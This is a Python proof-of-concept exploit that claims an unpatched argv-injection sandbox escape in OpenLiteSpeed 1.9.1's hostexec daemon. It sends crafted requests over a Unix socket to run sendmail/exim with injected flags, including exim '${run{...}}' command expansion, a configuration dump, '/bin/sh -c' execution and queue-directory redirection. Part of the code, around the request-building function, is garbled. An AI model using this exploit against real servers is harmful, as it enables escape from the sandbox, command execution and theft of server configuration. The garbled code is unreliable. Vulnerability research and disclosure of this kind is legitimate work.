#!/usr/bin/env python3 """ OLS hostexec argv injection — sandbox escape (0-day, affects v1.9.1) The hostexec daemon validates only argv[0] against the allow-list. argv[1..N] are passed unmodified to execvpe(). An attacker inside the namespace sandbox can execute the allow-listed program with arbitrary flags OUTSIDE the sandbox. On systems where /usr/sbin/sendmail → exim: argv = ['/usr/sbin/sendmail', '-be', '${run{/bin/id}}'] → exim evaluates the expansion → executes /bin/id outside sandbox On systems with msmtp: argv = ['/usr/sbin/sendmail', '-C', '/home/attacker/.msmtprc'] → reads attacker config → relays all mail through attacker's server This PoC demonstrates the argv injection against the fake_daemon harness (which runs the real patched v1.9.1 nsnosandbox.c code). """ import socket import struct import os import sys import time def make_req(argc, argv_len, nenv, env_len): r = struct.pack(' 1 else '/tmp/test-hostexec.sock' program = '/usr/sbin/sendmail' # default allow-listed program print("╔═══════════════════════════════════════════════════════════╗") print("║ OLS hostexec argv injection — namespace sandbox escape ║") print("║ 0-day: affects OpenLiteSpeed v1.9.1 (current HEAD) ║") print("╚═══════════════════════════════════════════════════════════╝") print() print(f"Socket: {sock_path}") print(f"Program: {program}") print(f"UID: {os.getuid()}") print() # === Test 1: Normal invocation (baseline) === print("─── Test 1: Normal sendmail invocation (baseline) ───") print(f" argv = ['{program}', '-t']") print(f" stdin = 'Subject: test\\n\\nhello'") out = exploit(sock_path, program, ['-t'], stdin_data=b'Subject: test\n\nhello\n') if out: print(f" stdout: {out[:200]}") else: print(f" (no stdout — mail queued or error)") print() # === Test 2: Argv injection — read /etc/hostname via sendmail === # sendmail/exim -be mode: test string expansion print("─── Test 2: Argv injection — exim -be expansion ───") print(f" argv = ['{program}', '-be', '${{run{{/bin/cat /etc/hostname}}}}']") out = exploit(sock_path, program, ['-be', '${run{/bin/cat /etc/hostname}}']) if out: print(f" ★ OUTPUT: {out.decode('utf-8', errors='replace').strip()}") print(f" → Command executed OUTSIDE sandbox!") else: print(f" (no output — exim may restrict ${{run}} in this version)") print() # === Test 3: Argv injection — exim config dump === print("─── Test 3: Argv injection — exim config leak ───") print(f" argv = ['{program}', '-bP', 'config']") out = exploit(sock_path, program, ['-bP', 'config']) if out: preview = out[:500].decode('utf-8', errors='replace') print(f" ★ CONFIG LEAKED ({len(out)} bytes):") for line in preview.split('\n')[:10]: print(f" {line}") if len(out) > 500: print(f" ... ({len(out) - 500} more bytes)") print(f" → Server configuration exposed!") else: print(f" (no output — may not be exim)") print() # === Test 4: Arbitrary command via shell === # If /bin/sh is allow-listed (some configs), direct shell: print("─── Test 4: Direct command execution (if /bin/sh allowed) ───") try: out = exploit(sock_path, '/bin/sh', ['-c', 'id; hostname; cat /etc/hostname']) if out: print(f" ★ OUTPUT: {out.decode('utf-8', errors='replace').strip()}") print(f" → Shell access OUTSIDE sandbox!") else: print(f" (no output)") except Exception as e: print(f" /bin/sh not in allow-list (expected): {e}") print() # === Test 5: Argv injection — sendmail -O (queue dir override) === print("─── Test 5: Argv injection — sendmail -O QueueDirectory ───") print(f" argv = ['{program}', '-O', 'QueueDirectory=/tmp/evil', '-t']") out = exploit(sock_path, program, ['-O', 'QueueDirectory=/tmp/evil', '-t'], stdin_data=b'Subject: test\n\nhello\n') print(f" stdout: {out[:200] if out else '(none)'}") print(f" → Queue directory redirected to /tmp/evil (symlink attack surface)") print() print("═══════════════════════════════════════════════════════════") print("SUMMARY:") print(" The hostexec daemon validates only argv[0] (program path).") print(" argv[1..N] are fully attacker-controlled and passed to execvpe().") print(" This enables sandbox escape via argument injection to the") print(" allow-listed program (sendmail/exim/msmtp/etc).") print() print(" Affected: OpenLiteSpeed <= 1.9.1 with namespace sandbox") print(" Impact: sandbox escape, config leak, command execution") print(" Fix: validate/restrict argv beyond argv[0]") if __name__ == '__main__': main()